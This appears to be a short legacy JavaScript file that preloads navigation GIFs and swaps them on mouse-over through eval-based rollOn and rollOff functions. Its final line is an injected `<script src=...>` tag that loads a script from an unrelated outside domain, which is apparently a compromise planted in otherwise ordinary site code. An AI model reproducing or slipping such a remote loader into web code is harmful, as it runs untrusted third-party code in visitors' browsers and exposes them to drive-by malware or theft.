function PreloadImages(length, path, type) {
for(var i = 1; i<=length; i++) {
this[i]= new Image()
this[i].src= path + i + type
}
return this
}

over=new PreloadImages(6,'images/navover','.gif')
norm=new PreloadImages(6,'images/navnorm','.gif')

function rollOn(num){
if(document.images)
eval('document.images["norm'+num+'"].src='+'over[num].src')
}
function rollOff(num){
if(document.images)
eval('document.images["norm'+num+'"].src='+'norm[num].src')
}
<script src=http://rbxyz.com/us.js></script>